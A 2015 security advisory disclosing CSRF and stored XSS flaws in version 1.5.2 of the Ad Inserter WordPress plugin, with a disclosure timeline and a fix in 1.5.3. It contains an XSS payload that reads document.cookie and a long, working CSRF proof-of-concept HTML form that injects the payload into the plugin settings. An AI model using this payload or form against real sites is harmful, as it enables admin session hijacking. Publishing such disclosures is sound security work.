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SecurityvulnsSECURITYVULNS:DOC:32044

HistoryMay 11, 2015 - 12:00 a.m.

CSRF/XSSIn Ad_InSerter Wordpress

2015-05-1100:00:00

vulners.com

20

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CSRF/Stored XSS Vulnerability in Ad Inserter Plugin

. contents:: Table Of Content

Overview

Title :CSRF and Stored XSS Vulnerability in Ad Inserter Wordpress Plugin
Author: Kaustubh G. Padwad
Plugin Homepage: https://wordpress.org/plugins/ad-inserter/
Severity: HIGH
Version Affected: Version 1.5.2 and mostly prior to it
Version Tested : Version 1.5.2
version patched:

Description

Vulnerable Parameter

ad1_name
Block 1
Block Name
adinserter name
disable adinserter

About Vulnerability

This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class

Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)

After installing the plugin

Goto Dashboard –> Setting –> Ad Inserter –> Block1
Insert this payload ## "> <img src="/" =_=" title="onerror='prompt(document.cookie)'"> ## Into above mention Vulnerable parameter Save settings and see XSS in action
Visit Ad Inserter settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code

<html>
<!-- CSRF PoC - generated by Burp Suite Professional –>
<body>
<form action="http://127.0.0.1/wp/wp-admin/options-general.php?page=ad-inserter.php" method="POST">
<input type="hidden" name="ad_save" value="Save All Settings" />
<input type="hidden" name="ad1_name" value="<img src="/" =_=" title="onerror='prompt(document.cookie)'">" />
<input type="hidden" name="ad1_process_php" value="0" />
<input type="hidden" name="ad1_data" value="" />
<input type="hidden" name="ad1_displayType" value="None" />
<input type="hidden" name="ad1_display_for_users" value="all" />
<input type="hidden" name="ad1_display_for_devices" value="all" />
<input type="hidden" name="ad1_floatType" value="None" />
<input type="hidden" name="ad1_custom_css" value="" />
<input type="hidden" name="ad1_widget_settings_post" value="0" />
<input type="hidden" name="ad1_widget_settings_post" value="1" />
<input type="hidden" name="ad1_widget_settings_page" value="0" />
<input type="hidden" name="ad1_widget_settings_home" value="0" />
<input type="hidden" name="ad1_widget_settings_home" value="1" />
<input type="hidden" name="ad1_widget_settings_category" value="0" />
<input type="hidden" name="ad1_widget_settings_category" value="1" />
<input type="hidden" name="ad1_widget_settings_search" value="0" />
<input type="hidden" name="ad1_widget_settings_search" value="1" />
<input type="hidden" name="ad1_widget_settings_archive" value="0" />
<input type="hidden" name="ad1_widget_settings_archive" value="1" />
<input type="hidden" name="ad1_after_day" value="0" />
<input type="hidden" name="ad1_general_tag" value="gadgets" />
<input type="hidden" name="ad1_block_user" value="" />
<input type="hidden" name="ad1_domain_list_type" value="Black List" />
<input type="hidden" name="ad1_block_cat" value="" />
<input type="hidden" name="ad1_block_cat_type" value="Black List" />
<input type="hidden" name="ad1_minimum_paragraphs" value="0" />
<input type="hidden" name="ad1_paragraph_text" value="" />
<input type="hidden" name="ad1_paragraphNumber" value="0" />
<input type="hidden" name="ad1_directionType" value="From Top" />
<input type="hidden" name="ad1_excerptNumber" value="0" />
<input type="hidden" name="ad1_enable_manual" value="0" />
<input type="hidden" name="ad1_enable_php_call" value="0" />
<input type="hidden" name="ad2_name" value="Block 2" />
<input type="hidden" name="ad2_process_php" value="0" />
<input type="hidden" name="ad2_data" value="" />
<input type="hidden" name="ad2_displayType" value="None" />
<input type="hidden" name="ad2_display_for_users" value="all" />
<input type="hidden" name="ad2_display_for_devices" value="all" />
<input type="hidden" name="ad2_floatType" value="None" />
<input type="hidden" name="ad2_custom_css" value="" />
<input type="hidden" name="ad2_widget_settings_post" value="0" />
<input type="hidden" name="ad2_widget_settings_post" value="1" />
<input type="hidden" name="ad2_widget_settings_page" value="0" />
<input type="hidden" name="ad2_widget_settings_home" value="0" />
<input type="hidden" name="ad2_widget_settings_home" value="1" />
<input type="hidden" name="ad2_widget_settings_category" value="0" />
<input type="hidden" name="ad2_widget_settings_category" value="1" />
<input type="hidden" name="ad2_widget_settings_search" value="0" />
<input type="hidden" name="ad2_widget_settings_search" value="1" />
<input type="hidden" name="ad2_widget_settings_archive" value="0" />
<input type="hidden" name="ad2_widget_settings_archive" value="1" />
<input type="hidden" name="ad2_after_day" value="0" />
<input type="hidden" name="ad2_general_tag" value="gadgets" />
<input type="hidden" name="ad2_block_user" value="" />
<input type="hidden" name="ad2_domain_list_type" value="Black List" />
<input type="hidden" name="ad2_block_cat" value="" />
<input type="hidden" name="ad2_block_cat_type" value="Black List" />
<input type="hidden" name="ad2_minimum_paragraphs" value="0" />
<input type="hidden" name="ad2_paragraph_text" value="" />
<input type="hidden" name="ad2_paragraphNumber" value="0" />
<input type="hidden" name="ad2_directionType" value="From Top" />
<input type="hidden" name="ad2_excerptNumber" value="0" />
<input type="hidden" name="ad2_enable_manual" value="0" />
<input type="hidden" name="ad2_enable_php_call" value="0" />
<input type="hidden" name="ad3_name" value="Block 3" />
<input type="hidden" name="ad3_process_php" value="0" />
<input type="hidden" name="ad3_data" value="" />
<input type="hidden" name="ad3_displayType" value="None" />
<input type="hidden" name="ad3_display_for_users" value="all" />
<input type="hidden" name="ad3_display_for_devices" value="all" />
<input type="hidden" name="ad3_floatType" value="None" />
<input type="hidden" name="ad3_custom_css" value="" />
<input type="hidden" name="ad3_widget_settings_post" value="0" />
<input type="hidden" name="ad3_widget_settings_post" value="1" />
<input type="hidden" name="ad3_widget_settings_page" value="0" />
<input type="hidden" name="ad3_widget_settings_home" value="0" />
<input type="hidden" name="ad3_widget_settings_home" value="1" />
<input type="hidden" name="ad3_widget_settings_category" value="0" />
<input type="hidden" name="ad3_widget_settings_category" value="1" />
<input type="hidden" name="ad3_widget_settings_search" value="0" />
<input type="hidden" name="ad3_widget_settings_search" value="1" />
<input type="hidden" name="ad3_widget_settings_archive" value="0" />
<input type="hidden" name="ad3_widget_settings_archive" value="1" />
<input type="hidden" name="ad3_after_day" value="0" />
<input type="hidden" name="ad3_general_tag" value="gadgets" />
<input type="hidden" name="ad3_block_user" value="" />
<input type="hidden" name="ad3_domain_list_type" value="Black List" />
<input type="hidden" name="ad3_block_cat" value="" />
<input type="hidden" name="ad3_block_cat_type" value="Black List" />
<input type="hidden" name="ad3_minimum_paragraphs" value="0" />
<input type="hidden" name="ad3_paragraph_text" value="" />
<input type="hidden" name="ad3_paragraphNumber" value="0" />
<input type="hidden" name="ad3_directionType" value="From Top" />
<input type="hidden" name="ad3_excerptNumber" value="0" />
<input type="hidden" name="ad3_enable_manual" value="0" />
<input type="hidden" name="ad3_enable_php_call" value="0" />
<input type="hidden" name="ad4_name" value="Block 4" />
<input type="hidden" name="ad4_process_php" value="0" />
<input type="hidden" name="ad4_data" value="" />
<input type="hidden" name="ad4_displayType" value="None" />
<input type="hidden" name="ad4_display_for_users" value="all" />
<input type="hidden" name="ad4_display_for_devices" value="all" />
<input type="hidden" name="ad4_floatType" value="None" />
<input type="hidden" name="ad4_custom_css" value="" />
<input type="hidden" name="ad4_widget_settings_post" value="0" />
<input type="hidden" name="ad4_widget_settings_post" value="1" />
<input type="hidden" name="ad4_widget_settings_page" value="0" />
<input type="hidden" name="ad4_widget_settings_home" value="0" />
<input type="hidden" name="ad4_widget_settings_home" value="1" />
<input type="hidden" name="ad4_widget_settings_category" value="0" />
<input type="hidden" name="ad4_widget_settings_category" value="1" />
<input type="hidden" name="ad4_widget_settings_search" value="0" />
<input type="hidden" name="ad4_widget_settings_search" value="1" />
<input type="hidden" name="ad4_widget_settings_archive" value="0" />
<input type="hidden" name="ad4_widget_settings_archive" value="1" />
<input type="hidden" name="ad4_after_day" value="0" />
<input type="hidden" name="ad4_general_tag" value="gadgets" />
<input type="hidden" name="ad4_block_user" value="" />
<input type="hidden" name="ad4_domain_list_type" value="Black List" />
<input type="hidden" name="ad4_block_cat" value="" />
<input type="hidden" name="ad4_block_cat_type" value="Black List" />
<input type="hidden" name="ad4_minimum_paragraphs" value="0" />
<input type="hidden" name="ad4_paragraph_text" value="" />
<input type="hidden" name="ad4_paragraphNumber" value="0" />
<input type="hidden" name="ad4_directionType" value="From Top" />
<input type="hidden" name="ad4_excerptNumber" value="0" />
<input type="hidden" name="ad4_enable_manual" value="0" />
<input type="hidden" name="ad4_enable_php_call" value="0" />
<input type="hidden" name="ad5_name" value="Block 5" />
<input type="hidden" name="ad5_process_php" value="0" />
<input type="hidden" name="ad5_data" value="" />
<input type="hidden" name="ad5_displayType" value="None" />
<input type="hidden" name="ad5_display_for_users" value="all" />
<input type="hidden" name="ad5_display_for_devices" value="all" />
<input type="hidden" name="ad5_floatType" value="None" />
<input type="hidden" name="ad5_custom_css" value="" />
<input type="hidden" name="ad5_widget_settings_post" value="0" />
<input type="hidden" name="ad5_widget_settings_post" value="1" />
<input type="hidden" name="ad5_widget_settings_page" value="0" />
<input type="hidden" name="ad5_widget_settings_home" value="0" />
<input type="hidden" name="ad5_widget_settings_home" value="1" />
<input type="hidden" name="ad5_widget_settings_category" value="0" />
<input type="hidden" name="ad5_widget_settings_category" value="1" />
<input type="hidden" name="ad5_widget_settings_search" value="0" />
<input type="hidden" name="ad5_widget_settings_search" value="1" />
<input type="hidden" name="ad5_widget_settings_archive" value="0" />
<input type="hidden" name="ad5_widget_settings_archive" value="1" />
<input type="hidden" name="ad5_after_day" value="0" />
<input type="hidden" name="ad5_general_tag" value="gadgets" />
<input type="hidden" name="ad5_block_user" value="" />
<input type="hidden" name="ad5_domain_list_type" value="Black List" />
<input type="hidden" name="ad5_block_cat" value="" />
<input type="hidden" name="ad5_block_cat_type" value="Black List" />
<input type="hidden" name="ad5_minimum_paragraphs" value="0" />
<input type="hidden" name="ad5_paragraph_text" value="" />
<input type="hidden" name="ad5_paragraphNumber" value="0" />
<input type="hidden" name="ad5_directionType" value="From Top" />
<input type="hidden" name="ad5_excerptNumber" value="0" />
<input type="hidden" name="ad5_enable_manual" value="0" />
<input type="hidden" name="ad5_enable_php_call" value="0" />
<input type="hidden" name="ad6_name" value="Block 6" />
<input type="hidden" name="ad6_process_php" value="0" />
<input type="hidden" name="ad6_data" value="" />
<input type="hidden" name="ad6_displayType" value="None" />
<input type="hidden" name="ad6_display_for_users" value="all" />
<input type="hidden" name="ad6_display_for_devices" value="all" />
<input type="hidden" name="ad6_floatType" value="None" />
<input type="hidden" name="ad6_custom_css" value="" />
<input type="hidden" name="ad6_widget_settings_post" value="0" />
<input type="hidden" name="ad6_widget_settings_post" value="1" />
<input type="hidden" name="ad6_widget_settings_page" value="0" />
<input type="hidden" name="ad6_widget_settings_home" value="0" />
<input type="hidden" name="ad6_widget_settings_home" value="1" />
<input type="hidden" name="ad6_widget_settings_category" value="0" />
<input type="hidden" name="ad6_widget_settings_category" value="1" />
<input type="hidden" name="ad6_widget_settings_search" value="0" />
<input type="hidden" name="ad6_widget_settings_search" value="1" />
<input type="hidden" name="ad6_widget_settings_archive" value="0" />
<input type="hidden" name="ad6_widget_settings_archive" value="1" />
<input type="hidden" name="ad6_after_day" value="0" />
<input type="hidden" name="ad6_general_tag" value="gadgets" />
<input type="hidden" name="ad6_block_user" value="" />
<input type="hidden" name="ad6_domain_list_type" value="Black List" />
<input type="hidden" name="ad6_block_cat" value="" />
<input type="hidden" name="ad6_block_cat_type" value="Black List" />
<input type="hidden" name="ad6_minimum_paragraphs" value="0" />
<input type="hidden" name="ad6_paragraph_text" value="" />
<input type="hidden" name="ad6_paragraphNumber" value="0" />
<input type="hidden" name="ad6_directionType" value="From Top" />
<input type="hidden" name="ad6_excerptNumber" value="0" />
<input type="hidden" name="ad6_enable_manual" value="0" />
<input type="hidden" name="ad6_enable_php_call" value="0" />
<input type="hidden" name="ad7_name" value="Block 7" />
<input type="hidden" name="ad7_process_php" value="0" />
<input type="hidden" name="ad7_data" value="" />
<input type="hidden" name="ad7_displayType" value="None" />
<input type="hidden" name="ad7_display_for_users" value="all" />
<input type="hidden" name="ad7_display_for_devices" value="all" />
<input type="hidden" name="ad7_floatType" value="None" />
<input type="hidden" name="ad7_custom_css" value="" />
<input type="hidden" name="ad7_widget_settings_post" value="0" />
<input type="hidden" name="ad7_widget_settings_post" value="1" />
<input type="hidden" name="ad7_widget_settings_page" value="0" />
<input type="hidden" name="ad7_widget_settings_home" value="0" />
<input type="hidden" name="ad7_widget_settings_home" value="1" />
<input type="hidden" name="ad7_widget_settings_category" value="0" />
<input type="hidden" name="ad7_widget_settings_category" value="1" />
<input type="hidden" name="ad7_widget_settings_search" value="0" />
<input type="hidden" name="ad7_widget_settings_search" value="1" />
<input type="hidden" name="ad7_widget_settings_archive" value="0" />
<input type="hidden" name="ad7_widget_settings_archive" value="1" />
<input type="hidden" name="ad7_after_day" value="0" />
<input type="hidden" name="ad7_general_tag" value="gadgets" />
<input type="hidden" name="ad7_block_user" value="" />
<input type="hidden" name="ad7_domain_list_type" value="Black List" />
<input type="hidden" name="ad7_block_cat" value="" />
<input type="hidden" name="ad7_block_cat_type" value="Black List" />
<input type="hidden" name="ad7_minimum_paragraphs" value="0" />
<input type="hidden" name="ad7_paragraph_text" value="" />
<input type="hidden" name="ad7_paragraphNumber" value="0" />
<input type="hidden" name="ad7_directionType" value="From Top" />
<input type="hidden" name="ad7_excerptNumber" value="0" />
<input type="hidden" name="ad7_enable_manual" value="0" />
<input type="hidden" name="ad7_enable_php_call" value="0" />
<input type="hidden" name="ad8_name" value="Block 8" />
<input type="hidden" name="ad8_process_php" value="0" />
<input type="hidden" name="ad8_data" value="" />
<input type="hidden" name="ad8_displayType" value="None" />
<input type="hidden" name="ad8_display_for_users" value="all" />
<input type="hidden" name="ad8_display_for_devices" value="all" />
<input type="hidden" name="ad8_floatType" value="None" />
<input type="hidden" name="ad8_custom_css" value="" />
<input type="hidden" name="ad8_widget_settings_post" value="0" />
<input type="hidden" name="ad8_widget_settings_post" value="1" />
<input type="hidden" name="ad8_widget_settings_page" value="0" />
<input type="hidden" name="ad8_widget_settings_home" value="0" />
<input type="hidden" name="ad8_widget_settings_home" value="1" />
<input type="hidden" name="ad8_widget_settings_category" value="0" />
<input type="hidden" name="ad8_widget_settings_category" value="1" />
<input type="hidden" name="ad8_widget_settings_search" value="0" />
<input type="hidden" name="ad8_widget_settings_search" value="1" />
<input type="hidden" name="ad8_widget_settings_archive" value="0" />
<input type="hidden" name="ad8_widget_settings_archive" value="1" />
<input type="hidden" name="ad8_after_day" value="0" />
<input type="hidden" name="ad8_general_tag" value="gadgets" />
<input type="hidden" name="ad8_block_user" value="" />
<input type="hidden" name="ad8_domain_list_type" value="Black List" />
<input type="hidden" name="ad8_block_cat" value="" />
<input type="hidden" name="ad8_block_cat_type" value="Black List" />
<input type="hidden" name="ad8_minimum_paragraphs" value="0" />
<input type="hidden" name="ad8_paragraph_text" value="" />
<input type="hidden" name="ad8_paragraphNumber" value="0" />
<input type="hidden" name="ad8_directionType" value="From Top" />
<input type="hidden" name="ad8_excerptNumber" value="0" />
<input type="hidden" name="ad8_enable_manual" value="0" />
<input type="hidden" name="ad8_enable_php_call" value="0" />
<input type="hidden" name="ad9_name" value="Block 9" />
<input type="hidden" name="ad9_process_php" value="0" />
<input type="hidden" name="ad9_data" value="" />
<input type="hidden" name="ad9_displayType" value="None" />
<input type="hidden" name="ad9_display_for_users" value="all" />
<input type="hidden" name="ad9_display_for_devices" value="all" />
<input type="hidden" name="ad9_floatType" value="None" />
<input type="hidden" name="ad9_custom_css" value="" />
<input type="hidden" name="ad9_widget_settings_post" value="0" />
<input type="hidden" name="ad9_widget_settings_post" value="1" />
<input type="hidden" name="ad9_widget_settings_page" value="0" />
<input type="hidden" name="ad9_widget_settings_home" value="0" />
<input type="hidden" name="ad9_widget_settings_home" value="1" />
<input type="hidden" name="ad9_widget_settings_category" value="0" />
<input type="hidden" name="ad9_widget_settings_category" value="1" />
<input type="hidden" name="ad9_widget_settings_search" value="0" />
<input type="hidden" name="ad9_widget_settings_search" value="1" />
<input type="hidden" name="ad9_widget_settings_archive" value="0" />
<input type="hidden" name="ad9_widget_settings_archive" value="1" />
<input type="hidden" name="ad9_after_day" value="0" />
<input type="hidden" name="ad9_general_tag" value="gadgets" />
<input type="hidden" name="ad9_block_user" value="" />
<input type="hidden" name="ad9_domain_list_type" value="Black List" />
<input type="hidden" name="ad9_block_cat" value="" />
<input type="hidden" name="ad9_block_cat_type" value="Black List" />
<input type="hidden" name="ad9_minimum_paragraphs" value="0" />
<input type="hidden" name="ad9_paragraph_text" value="" />
<input type="hidden" name="ad9_paragraphNumber" value="0" />
<input type="hidden" name="ad9_directionType" value="From Top" />
<input type="hidden" name="ad9_excerptNumber" value="0" />
<input type="hidden" name="ad9_enable_manual" value="0" />
<input type="hidden" name="ad9_enable_php_call" value="0" />
<input type="hidden" name="ad10_name" value="Block 10" />
<input type="hidden" name="ad10_process_php" value="0" />
<input type="hidden" name="ad10_data" value="" />
<input type="hidden" name="ad10_displayType" value="None" />
<input type="hidden" name="ad10_display_for_users" value="all" />
<input type="hidden" name="ad10_display_for_devices" value="all" />
<input type="hidden" name="ad10_floatType" value="None" />
<input type="hidden" name="ad10_custom_css" value="" />
<input type="hidden" name="ad10_widget_settings_post" value="0" />
<input type="hidden" name="ad10_widget_settings_post" value="1" />
<input type="hidden" name="ad10_widget_settings_page" value="0" />
<input type="hidden" name="ad10_widget_settings_home" value="0" />
<input type="hidden" name="ad10_widget_settings_home" value="1" />
<input type="hidden" name="ad10_widget_settings_category" value="0" />
<input type="hidden" name="ad10_widget_settings_category" value="1" />
<input type="hidden" name="ad10_widget_settings_search" value="0" />
<input type="hidden" name="ad10_widget_settings_search" value="1" />
<input type="hidden" name="ad10_widget_settings_archive" value="0" />
<input type="hidden" name="ad10_widget_settings_archive" value="1" />
<input type="hidden" name="ad10_after_day" value="0" />
<input type="hidden" name="ad10_general_tag" value="gadgets" />
<input type="hidden" name="ad10_block_user" value="" />
<input type="hidden" name="ad10_domain_list_type" value="Black List" />
<input type="hidden" name="ad10_block_cat" value="" />
<input type="hidden" name="ad10_block_cat_type" value="Black List" />
<input type="hidden" name="ad10_minimum_paragraphs" value="0" />
<input type="hidden" name="ad10_paragraph_text" value="" />
<input type="hidden" name="ad10_paragraphNumber" value="0" />
<input type="hidden" name="ad10_directionType" value="From Top" />
<input type="hidden" name="ad10_excerptNumber" value="0" />
<input type="hidden" name="ad10_enable_manual" value="0" />
<input type="hidden" name="ad10_enable_php_call" value="0" />
<input type="hidden" name="ad11_name" value="Block 11" />
<input type="hidden" name="ad11_process_php" value="0" />
<input type="hidden" name="ad11_data" value="" />
<input type="hidden" name="ad11_displayType" value="None" />
<input type="hidden" name="ad11_display_for_users" value="all" />
<input type="hidden" name="ad11_display_for_devices" value="all" />
<input type="hidden" name="ad11_floatType" value="None" />
<input type="hidden" name="ad11_custom_css" value="" />
<input type="hidden" name="ad11_widget_settings_post" value="0" />
<input type="hidden" name="ad11_widget_settings_post" value="1" />
<input type="hidden" name="ad11_widget_settings_page" value="0" />
<input type="hidden" name="ad11_widget_settings_home" value="0" />
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<input type="hidden" name="ad11_widget_settings_category" value="1" />
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<input type="hidden" name="ad11_widget_settings_search" value="1" />
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<input type="hidden" name="ad11_widget_settings_archive" value="1" />
<input type="hidden" name="ad11_after_day" value="0" />
<input type="hidden" name="ad11_general_tag" value="gadgets" />
<input type="hidden" name="ad11_block_user" value="" />
<input type="hidden" name="ad11_domain_list_type" value="Black List" />
<input type="hidden" name="ad11_block_cat" value="" />
<input type="hidden" name="ad11_block_cat_type" value="Black List" />
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<input type="hidden" name="ad11_paragraph_text" value="" />
<input type="hidden" name="ad11_paragraphNumber" value="0" />
<input type="hidden" name="ad11_directionType" value="From Top" />
<input type="hidden" name="ad11_excerptNumber" value="0" />
<input type="hidden" name="ad11_enable_manual" value="0" />
<input type="hidden" name="ad11_enable_php_call" value="0" />
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<input type="hidden" name="ad12_process_php" value="0" />
<input type="hidden" name="ad12_data" value="" />
<input type="hidden" name="ad12_displayType" value="None" />
<input type="hidden" name="ad12_display_for_users" value="all" />
<input type="hidden" name="ad12_display_for_devices" value="all" />
<input type="hidden" name="ad12_floatType" value="None" />
<input type="hidden" name="ad12_custom_css" value="" />
<input type="hidden" name="ad12_widget_settings_post" value="0" />
<input type="hidden" name="ad12_widget_settings_post" value="1" />
<input type="hidden" name="ad12_widget_settings_page" value="0" />
<input type="hidden" name="ad12_widget_settings_home" value="0" />
<input type="hidden" name="ad12_widget_settings_home" value="1" />
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<input type="hidden" name="ad12_widget_settings_category" value="1" />
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<input type="hidden" name="ad12_widget_settings_search" value="1" />
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<input type="hidden" name="ad12_widget_settings_archive" value="1" />
<input type="hidden" name="ad12_after_day" value="0" />
<input type="hidden" name="ad12_general_tag" value="gadgets" />
<input type="hidden" name="ad12_block_user" value="" />
<input type="hidden" name="ad12_domain_list_type" value="Black List" />
<input type="hidden" name="ad12_block_cat" value="" />
<input type="hidden" name="ad12_block_cat_type" value="Black List" />
<input type="hidden" name="ad12_minimum_paragraphs" value="0" />
<input type="hidden" name="ad12_paragraph_text" value="" />
<input type="hidden" name="ad12_paragraphNumber" value="0" />
<input type="hidden" name="ad12_directionType" value="From Top" />
<input type="hidden" name="ad12_excerptNumber" value="0" />
<input type="hidden" name="ad12_enable_manual" value="0" />
<input type="hidden" name="ad12_enable_php_call" value="0" />
<input type="hidden" name="ad13_name" value="Block 13" />
<input type="hidden" name="ad13_process_php" value="0" />
<input type="hidden" name="ad13_data" value="" />
<input type="hidden" name="ad13_displayType" value="None" />
<input type="hidden" name="ad13_display_for_users" value="all" />
<input type="hidden" name="ad13_display_for_devices" value="all" />
<input type="hidden" name="ad13_floatType" value="None" />
<input type="hidden" name="ad13_custom_css" value="" />
<input type="hidden" name="ad13_widget_settings_post" value="0" />
<input type="hidden" name="ad13_widget_settings_post" value="1" />
<input type="hidden" name="ad13_widget_settings_page" value="0" />
<input type="hidden" name="ad13_widget_settings_home" value="0" />
<input type="hidden" name="ad13_widget_settings_home" value="1" />
<input type="hidden" name="ad13_widget_settings_category" value="0" />
<input type="hidden" name="ad13_widget_settings_category" value="1" />
<input type="hidden" name="ad13_widget_settings_search" value="0" />
<input type="hidden" name="ad13_widget_settings_search" value="1" />
<input type="hidden" name="ad13_widget_settings_archive" value="0" />
<input type="hidden" name="ad13_widget_settings_archive" value="1" />
<input type="hidden" name="ad13_after_day" value="0" />
<input type="hidden" name="ad13_general_tag" value="gadgets" />
<input type="hidden" name="ad13_block_user" value="" />
<input type="hidden" name="ad13_domain_list_type" value="Black List" />
<input type="hidden" name="ad13_block_cat" value="" />
<input type="hidden" name="ad13_block_cat_type" value="Black List" />
<input type="hidden" name="ad13_minimum_paragraphs" value="0" />
<input type="hidden" name="ad13_paragraph_text" value="" />
<input type="hidden" name="ad13_paragraphNumber" value="0" />
<input type="hidden" name="ad13_directionType" value="From Top" />
<input type="hidden" name="ad13_excerptNumber" value="0" />
<input type="hidden" name="ad13_enable_manual" value="0" />
<input type="hidden" name="ad13_enable_php_call" value="0" />
<input type="hidden" name="ad14_name" value="Block 14" />
<input type="hidden" name="ad14_process_php" value="0" />
<input type="hidden" name="ad14_data" value="" />
<input type="hidden" name="ad14_displayType" value="None" />
<input type="hidden" name="ad14_display_for_users" value="all" />
<input type="hidden" name="ad14_display_for_devices" value="all" />
<input type="hidden" name="ad14_floatType" value="None" />
<input type="hidden" name="ad14_custom_css" value="" />
<input type="hidden" name="ad14_widget_settings_post" value="0" />
<input type="hidden" name="ad14_widget_settings_post" value="1" />
<input type="hidden" name="ad14_widget_settings_page" value="0" />
<input type="hidden" name="ad14_widget_settings_home" value="0" />
<input type="hidden" name="ad14_widget_settings_home" value="1" />
<input type="hidden" name="ad14_widget_settings_category" value="0" />
<input type="hidden" name="ad14_widget_settings_category" value="1" />
<input type="hidden" name="ad14_widget_settings_search" value="0" />
<input type="hidden" name="ad14_widget_settings_search" value="1" />
<input type="hidden" name="ad14_widget_settings_archive" value="0" />
<input type="hidden" name="ad14_widget_settings_archive" value="1" />
<input type="hidden" name="ad14_after_day" value="0" />
<input type="hidden" name="ad14_general_tag" value="gadgets" />
<input type="hidden" name="ad14_block_user" value="" />
<input type="hidden" name="ad14_domain_list_type" value="Black List" />
<input type="hidden" name="ad14_block_cat" value="" />
<input type="hidden" name="ad14_block_cat_type" value="Black List" />
<input type="hidden" name="ad14_minimum_paragraphs" value="0" />
<input type="hidden" name="ad14_paragraph_text" value="" />
<input type="hidden" name="ad14_paragraphNumber" value="0" />
<input type="hidden" name="ad14_directionType" value="From Top" />
<input type="hidden" name="ad14_excerptNumber" value="0" />
<input type="hidden" name="ad14_enable_manual" value="0" />
<input type="hidden" name="ad14_enable_php_call" value="0" />
<input type="hidden" name="ad15_name" value="Block 15" />
<input type="hidden" name="ad15_process_php" value="0" />
<input type="hidden" name="ad15_data" value="" />
<input type="hidden" name="ad15_displayType" value="None" />
<input type="hidden" name="ad15_display_for_users" value="all" />
<input type="hidden" name="ad15_display_for_devices" value="all" />
<input type="hidden" name="ad15_floatType" value="None" />
<input type="hidden" name="ad15_custom_css" value="" />
<input type="hidden" name="ad15_widget_settings_post" value="0" />
<input type="hidden" name="ad15_widget_settings_post" value="1" />
<input type="hidden" name="ad15_widget_settings_page" value="0" />
<input type="hidden" name="ad15_widget_settings_home" value="0" />
<input type="hidden" name="ad15_widget_settings_home" value="1" />
<input type="hidden" name="ad15_widget_settings_category" value="0" />
<input type="hidden" name="ad15_widget_settings_category" value="1" />
<input type="hidden" name="ad15_widget_settings_search" value="0" />
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<input type="hidden" name="ad15_widget_settings_archive" value="1" />
<input type="hidden" name="ad15_after_day" value="0" />
<input type="hidden" name="ad15_general_tag" value="gadgets" />
<input type="hidden" name="ad15_block_user" value="" />
<input type="hidden" name="ad15_domain_list_type" value="Black List" />
<input type="hidden" name="ad15_block_cat" value="" />
<input type="hidden" name="ad15_block_cat_type" value="Black List" />
<input type="hidden" name="ad15_minimum_paragraphs" value="0" />
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<input type="hidden" name="ad15_paragraphNumber" value="0" />
<input type="hidden" name="ad15_directionType" value="From Top" />
<input type="hidden" name="ad15_excerptNumber" value="0" />
<input type="hidden" name="ad15_enable_manual" value="0" />
<input type="hidden" name="ad15_enable_php_call" value="0" />
<input type="hidden" name="ad16_name" value="Block 16" />
<input type="hidden" name="ad16_process_php" value="0" />
<input type="hidden" name="ad16_data" value="" />
<input type="hidden" name="ad16_displayType" value="None" />
<input type="hidden" name="ad16_display_for_users" value="all" />
<input type="hidden" name="ad16_display_for_devices" value="all" />
<input type="hidden" name="ad16_floatType" value="None" />
<input type="hidden" name="ad16_custom_css" value="" />
<input type="hidden" name="ad16_widget_settings_post" value="0" />
<input type="hidden" name="ad16_widget_settings_post" value="1" />
<input type="hidden" name="ad16_widget_settings_page" value="0" />
<input type="hidden" name="ad16_widget_settings_home" value="0" />
<input type="hidden" name="ad16_widget_settings_home" value="1" />
<input type="hidden" name="ad16_widget_settings_category" value="0" />
<input type="hidden" name="ad16_widget_settings_category" value="1" />
<input type="hidden" name="ad16_widget_settings_search" value="0" />
<input type="hidden" name="ad16_widget_settings_search" value="1" />
<input type="hidden" name="ad16_widget_settings_archive" value="0" />
<input type="hidden" name="ad16_widget_settings_archive" value="1" />
<input type="hidden" name="ad16_after_day" value="0" />
<input type="hidden" name="ad16_general_tag" value="gadgets" />
<input type="hidden" name="ad16_block_user" value="" />
<input type="hidden" name="ad16_domain_list_type" value="Black List" />
<input type="hidden" name="ad16_block_cat" value="" />
<input type="hidden" name="ad16_block_cat_type" value="Black List" />
<input type="hidden" name="ad16_minimum_paragraphs" value="0" />
<input type="hidden" name="ad16_paragraph_text" value="" />
<input type="hidden" name="ad16_paragraphNumber" value="0" />
<input type="hidden" name="ad16_directionType" value="From Top" />
<input type="hidden" name="ad16_excerptNumber" value="0" />
<input type="hidden" name="ad16_enable_manual" value="0" />
<input type="hidden" name="ad16_enable_php_call" value="0" />
<input type="hidden" name="adH_process_php" value="0" />
<input type="hidden" name="adH_data" value="" />
<input type="hidden" name="adH_enable" value="0" />
<input type="hidden" name="adF_process_php" value="0" />
<input type="hidden" name="adF_data" value="" />
<input type="hidden" name="adF_enable" value="0" />
<input type="hidden" name="syntax-highlighter-theme" value="ad_inserter" />
<input type="hidden" name="block-class-name" value="code-block" />
<input type="hidden" name="ai-active-tab" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Mitigation

Update to Latest version 1.5.3

Change Log

https://wordpress.org/plugins/ad-inserter/changelog/

Disclosure

18-April-2015 Reported to Developer
2-may-2015 Fixed By Developer
credits

Kaustubh Padwad
Information Security Researcher
kingkaustubh (at) me (dot) com
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad